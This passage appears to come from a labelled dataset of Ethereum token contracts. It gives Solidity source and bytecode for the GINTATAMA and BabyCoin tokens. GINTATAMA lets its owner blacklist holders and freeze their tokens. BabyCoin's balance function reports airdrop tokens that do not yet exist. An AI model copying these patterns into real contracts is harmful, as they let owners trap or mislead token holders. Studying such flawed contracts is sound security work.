(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract GINTATAMA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Gintatama"; string private constant _symbol = "GINTATAMA"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 2; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 12); _teamFee = fee; } function setMaxTxn(uint256 max) external onlyOwner(){ require(max>2); _maxTxnAmount = max; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a0578063e6ec64ec146104e6578063f2fde38b14610506578063fc588c041461052657600080fd5b8063a9059cbb14610440578063b515566a14610460578063cf0848f71461048057600080fd5b806370a0823114610371578063715018a6146103915780637c938bb4146103a65780638da5cb5b146103c657806390d49b9d146103ee57806395d89b411461040e57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102ca578063437823ec14610303578063476343ee146103235780635342acb41461033857600080fd5b8063313ce5671461027657806331c2d8471461028a5780633a0f23b3146102aa57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ec57806318160ddd1461021c57806323b872dd14610241578063293230b81461026157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610546565b005b3480156101b457600080fd5b5060408051808201909152600981526847696e746174616d6160b81b60208201525b6040516101e3919061195c565b60405180910390f35b3480156101f857600080fd5b5061020c6102073660046119d6565b610592565b60405190151581526020016101e3565b34801561022857600080fd5b50670de0b6b3a76400005b6040519081526020016101e3565b34801561024d57600080fd5b5061020c61025c366004611a02565b6105a9565b34801561026d57600080fd5b506101a6610612565b34801561028257600080fd5b506009610233565b34801561029657600080fd5b506101a66102a5366004611a59565b610678565b3480156102b657600080fd5b506101a66102c5366004611b1e565b61070e565b3480156102d657600080fd5b5061020c6102e5366004611b40565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030f57600080fd5b506101a661031e366004611b40565b61074b565b34801561032f57600080fd5b506101a6610799565b34801561034457600080fd5b5061020c610353366004611b40565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037d57600080fd5b5061023361038c366004611b40565b6107d3565b34801561039d57600080fd5b506101a66107f5565b3480156103b257600080fd5b506101a66103c1366004611b40565b61082b565b3480156103d257600080fd5b506000546040516001600160a01b0390911681526020016101e3565b3480156103fa57600080fd5b506101a6610409366004611b40565b610a86565b34801561041a57600080fd5b5060408051808201909152600981526847494e544154414d4160b81b60208201526101d6565b34801561044c57600080fd5b5061020c61045b3660046119d6565b610b00565b34801561046c57600080fd5b506101a661047b366004611a59565b610b0d565b34801561048c57600080fd5b506101a661049b366004611b40565b610c26565b3480156104ac57600080fd5b506102336104bb366004611b5d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f257600080fd5b506101a6610501366004611b96565b610c71565b34801561051257600080fd5b506101a6610521366004611b40565b610cad565b34801561053257600080fd5b506101a6610541366004611b96565b610d45565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161057090611baf565b60405180910390fd5b6000610584306107d3565b905061058f81610d81565b50565b600061059f338484610efb565b5060015b92915050565b60006105b684848461101f565b610608843361060385604051806060016040528060288152602001611d2a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611445565b610efb565b5060019392505050565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161057090611baf565b600d54600160a01b900460ff1661065257600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161057090611baf565b60005b815181101561070a576000600560008484815181106106c6576106c6611be4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070281611c10565b9150506106a5565b5050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161057090611baf565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107755760405162461bcd60e51b815260040161057090611baf565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561070a573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a39061147f565b6000546001600160a01b0316331461081f5760405162461bcd60e51b815260040161057090611baf565b6108296000611503565b565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161057090611baf565b600d54600160a01b900460ff16156108bd5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610570565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610914573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109389190611c2b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610985573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a99190611c2b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611c2b565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161057090611baf565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061059f33848461101f565b6000546001600160a01b03163314610b375760405162461bcd60e51b815260040161057090611baf565b60005b815181101561070a57600d5482516001600160a01b0390911690839083908110610b6657610b66611be4565b60200260200101516001600160a01b031614158015610bb75750600c5482516001600160a01b0390911690839083908110610ba357610ba3611be4565b60200260200101516001600160a01b031614155b15610c1457600160056000848481518110610bd457610bd4611be4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1e81611c10565b915050610b3a565b6000546001600160a01b03163314610c505760405162461bcd60e51b815260040161057090611baf565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b815260040161057090611baf565b600c8110610ca857600080fd5b600855565b6000546001600160a01b03163314610cd75760405162461bcd60e51b815260040161057090611baf565b6001600160a01b038116610d3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610570565b61058f81611503565b6000546001600160a01b03163314610d6f5760405162461bcd60e51b815260040161057090611baf565b60028111610d7c57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc957610dc9611be4565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190611c2b565b81600181518110610e5957610e59611be4565b6001600160a01b039283166020918202929092010152600c54610e7f9130911684610efb565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb8908590600090869030904290600401611c48565b600060405180830381600087803b158015610ed257600080fd5b505af1158015610ee6573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610570565b6001600160a01b038216610fbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610570565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610570565b6001600160a01b0382166110e55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610570565b600081116111475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610570565b6001600160a01b03831660009081526005602052604090205460ff16156111ef5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610570565b6001600160a01b03831660009081526004602052604081205460ff1615801561123157506001600160a01b03831660009081526004602052604090205460ff16155b80156112475750600d54600160a81b900460ff16155b80156112775750600d546001600160a01b03858116911614806112775750600d546001600160a01b038481169116145b1561143357600d54600160b81b900460ff166112d55760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610570565b50600d546001906001600160a01b0385811691161480156113045750600c546001600160a01b03848116911614155b80156113125750600f5460ff165b15611363576000611322846107d3565b905061134c6064611346600a54670de0b6b3a764000061155390919063ffffffff16565b906115d2565b6113568483611614565b111561136157600080fd5b505b600e54421415611391576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061139c306107d3565b600d54909150600160b01b900460ff161580156113c75750600d546001600160a01b03868116911614155b1561143157801561143157600d546113fb9060649061134690600f906113f5906001600160a01b03166107d3565b90611553565b81111561142857600d546114259060649061134690600f906113f5906001600160a01b03166107d3565b90505b61143181610d81565b505b61143f84848484611673565b50505050565b600081848411156114695760405162461bcd60e51b8152600401610570919061195c565b5060006114768486611cb9565b95945050505050565b60006006548211156114e65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610570565b60006114f0611776565b90506114fc83826115d2565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611562575060006105a3565b600061156e8385611cd0565b90508261157b8583611cef565b146114fc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610570565b60006114fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611799565b6000806116218385611d11565b9050838110156114fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610570565b8080611681576116816117c7565b600080600080611690876117e3565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116bd908561182a565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116ec9084611614565b6001600160a01b03891660009081526001602052604090205561170e8161186c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175391815260200190565b60405180910390a3505050508061176f5761176f600954600855565b5050505050565b60008060006117836118b6565b909250905061179282826115d2565b9250505090565b600081836117ba5760405162461bcd60e51b8152600401610570919061195c565b5060006114768486611cef565b6000600854116117d657600080fd5b6008805460095560009055565b6000806000806000806117f8876008546118f6565b915091506000611806611776565b90506000806118168a8585611923565b909b909a5094985092965092945050505050565b60006114fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611445565b6000611876611776565b905060006118848383611553565b306000908152600160205260409020549091506118a19082611614565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118d182826115d2565b8210156118ed57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061190960646113468787611553565b90506000611917868361182a565b96919550909350505050565b600080806119318685611553565b9050600061193f8686611553565b9050600061194d838361182a565b92989297509195505050505050565b600060208083528351808285015260005b818110156119895785810183015185820160400152820161196d565b8181111561199b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058f57600080fd5b80356119d1816119b1565b919050565b600080604083850312156119e957600080fd5b82356119f4816119b1565b946020939093013593505050565b600080600060608486031215611a1757600080fd5b8335611a22816119b1565b92506020840135611a32816119b1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6c57600080fd5b823567ffffffffffffffff80821115611a8457600080fd5b818501915085601f830112611a9857600080fd5b813581811115611aaa57611aaa611a43565b8060051b604051601f19603f83011681018181108582111715611acf57611acf611a43565b604052918252848201925083810185019188831115611aed57600080fd5b938501935b82851015611b1257611b03856119c6565b84529385019392850192611af2565b98975050505050505050565b600060208284031215611b3057600080fd5b813580151581146114fc57600080fd5b600060208284031215611b5257600080fd5b81356114fc816119b1565b60008060408385031215611b7057600080fd5b8235611b7b816119b1565b91506020830135611b8b816119b1565b809150509250929050565b600060208284031215611ba857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2457611c24611bfa565b5060010190565b600060208284031215611c3d57600080fd5b81516114fc816119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c985784516001600160a01b031683529383019391830191600101611c73565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ccb57611ccb611bfa565b500390565b6000816000190483118215151615611cea57611cea611bfa565b500290565b600082611d0c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d2457611d24611bfa565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d745b691e3609d5e24020778d1cfc3e3b74ab4a1f3fd4238ef3133e421507ae464736f6c634300080c0033
[ 7, 9, 11 ]
0xf20a773b3d9f2a1f080fbae1156a5e9768ceb615
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BabyCoin is Ownable { using SafeMath for uint256; string public name; string public symbol; uint32 public decimals = 18; uint256 public totalSupply; uint256 public currentTotalSupply = 0; uint256 public airdropNum = 2 ether; uint256 public airdropSupply = 2000; mapping(address => bool) touched; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function BabyCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } function _airdrop(address _owner) internal { if(!touched[_owner] && currentTotalSupply < airdropSupply) { touched[_owner] = true; balances[_owner] = balances[_owner].add(airdropNum); currentTotalSupply = currentTotalSupply.add(airdropNum); } } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); _airdrop(_from); require(_value <= balances[_from]); require(balances[_to] + _value >= balances[_to]); uint256 previousBalances = balances[_from] + balances[_to]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function getBalance(address _who) internal constant returns (uint256) { if(currentTotalSupply < airdropSupply && _who != owner) { if(touched[_who]) return balances[_who]; else return balances[_who].add(airdropNum); } else return balances[_who]; } function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance(_owner); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b3146101795780630b56d4c6146101d357806318160ddd146101fc57806323b872dd14610225578063313ce5671461029e578063410b1da8146102d357806366188463146102fc57806370a08231146103565780638da5cb5b146103a357806395d89b41146103f8578063a9059cbb14610486578063d73dd623146104e0578063dd62ed3e1461053a578063f2fde38b146105a6578063fb3ed5c7146105df575b600080fd5b34156100f657600080fd5b6100fe610608565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a6565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610798565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61020f61079e565b6040518082815260200191505060405180910390f35b341561023057600080fd5b610284600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b34156102a957600080fd5b6102b1610956565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102de57600080fd5b6102e661096c565b6040518082815260200191505060405180910390f35b341561030757600080fd5b61033c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610972565b604051808215151515815260200191505060405180910390f35b341561036157600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c03565b6040518082815260200191505060405180910390f35b34156103ae57600080fd5b6103b6610c15565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040357600080fd5b61040b610c3a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044b578082015181840152602081019050610430565b50505050905090810190601f1680156104785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049157600080fd5b6104c6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cd8565b604051808215151515815260200191505060405180910390f35b34156104eb57600080fd5b610520600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cef565b604051808215151515815260200191505060405180910390f35b341561054557600080fd5b610590600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eeb565b6040518082815260200191505060405180910390f35b34156105b157600080fd5b6105dd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f72565b005b34156105ea57600080fd5b6105f26110c7565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60045481565b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083157600080fd5b6108c082600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cd90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094b8484846110e9565b600190509392505050565b600360009054906101000a900463ffffffff1681565b60055481565b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffff